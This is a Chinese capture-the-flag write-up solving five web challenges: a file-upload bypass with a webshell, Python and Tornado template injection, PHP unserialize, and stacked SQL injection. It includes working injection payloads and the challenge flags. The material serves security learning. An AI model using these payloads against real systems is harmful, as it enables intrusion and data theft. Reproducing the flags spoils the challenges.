攻防世界web进阶区11-15题write up

攻防世界web进阶区11-15题wp

11、upload1 - 文件上传

1、这就是简单的客户端后缀名的检测,将木马文件后缀php改为jpg(也可以为其它允许的文件类型),通过burp抓包,再修改为php后缀。
攻防世界web进阶区11-15题write up
攻防世界web进阶区11-15题write up
2、然后蚁剑连接木马,得到flag。
攻防世界web进阶区11-15题write up
攻防世界web进阶区11-15题write up
flag=cyberpeace{2dbf2bcc955926935f9aab25dfd5c795}

12、Web_python_template_injection - ssti服务器模板注入

对这个完全不知道怎么做,只能参考别人的wp,https://blog.csdn.net/vhkjhwbs/article/details/101448932#26,Web_python_template_injection(SSTI服务器模板注入)

1、题目提示是python的模板注入,所以在utl中构造/{{config}},找到注入点,之后遵照flag文件。
攻防世界web进阶区11-15题write up
2、构造payload:

{{’’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘ls’).read()}}
攻防世界web进阶区11-15题write up
3、构造payload:

{{’’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘cat fl4g’).read()}}
攻防世界web进阶区11-15题write up
flag=ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

13、Web_php_unserialize - 反序列化

1、进去内容如下,进行代码审计
攻防世界web进阶区11-15题write up

  • 需要构造一个: var=??,里面内容要满足以下条件
  • 1、绕过_wakeup函数
  • 2、是base64加密
  • 3、绕过preg_match(正则表达式)

2、但是还是不会解题,可以参考大佬wp:https://www.guildhab.top/?p=990

3、payload:

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
攻防世界web进阶区11-15题write up
flag=ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

14、supersqli - sql注入

1、进去页面如下:
攻防世界web进阶区11-15题write up
2、然后输入: 1’ 显示1附近有错误.
攻防世界web进阶区11-15题write up
3、然后查询字段数,order by 1 和 order by 2 都正常,当3时返回,说明有两个字的字段。
攻防世界web进阶区11-15题write up
4、当进一步查询字段的顺序的时候,却显示以下错误,屏蔽了一些关键字,所以就只能慢慢尝试其他的注入方式。
攻防世界web进阶区11-15题write up
5、最后输入:1’;show databases;# ,显示如下所示,所以此注入为堆叠注入。
攻防世界web进阶区11-15题write up
6、输入:1’;show tables;# 查询表,得到两个表:1919810931114514和words。
攻防世界web进阶区11-15题write up
7、在查询表中的数据,输入:1’;show columns from ‘1919810931114514’;# 刚好有个flag,但是接下来却不知道怎么查询列中的数据了。
攻防世界web进阶区11-15题write up
8、最后想到可以使用handler查询,所以输入:1’;handler ‘1919810931114514’ open;handler ‘1919810931114514’ read first;# 可以直接到flag.
攻防世界web进阶区11-15题write up

  • handler查询:handler语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。而且它是mysql专用的语句。

flag{c168d583ed0d4d7196967b28cbd0b5e9}

15、easytornado

参考题解: https://www.cnblogs.com/joker-vip/p/12511948.html

1、点进去页面显示如下:
攻防世界web进阶区11-15题write up
2、分别点开每个看一看.
攻防世界web进阶区11-15题write up
攻防世界web进阶区11-15题write up
攻防世界web进阶区11-15题write up
3、从每个url看出,想要得到flag,必须知道filehash=md5(cookie_secret+md5(filename)),而filename=/fllllllllllllag,所以只需要知道cookie_secret就可以了。

4、而且/welcome.txt有个render,可能会是SSTI模板注入,尝试验证, 输入:error?msg={{2}},出现2.
攻防世界web进阶区11-15题write up
5、然后再输入error?smg={{2*1}},出现的是ORZ,其他除操作和减操作也返回ORZ,说明是操作符被过滤了。
攻防世界web进阶区11-15题write up
6、通过模板注入如何拿到tornado中的cookie,用的就是handler.settings对象,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了!传递error?msg={{ handler.settings }}就可以了。这样得到cookie_secret:85ce6ee9-1239-4a84-9483-29a90736113c 。
攻防世界web进阶区11-15题write up
7、经过转换得到/fllllllllllllag的hash值:3bf9f6cf685a6dd8defadabfb41a03a1。
攻防世界web进阶区11-15题write up
8、然后再把cookie_secret和/fllllllllllllag的hash值合在一起进行下次的转换,得到:6795ff6caf6866bb3c9024ebb124318e 。
攻防世界web进阶区11-15题write up
9、构造payload:file?filename=/fllllllllllllag&filehash=6795ff6caf6866bb3c9024ebb124318e,直接得到flag。
攻防世界web进阶区11-15题write up
flag{3f39aea39db345769397ae895edb9c70}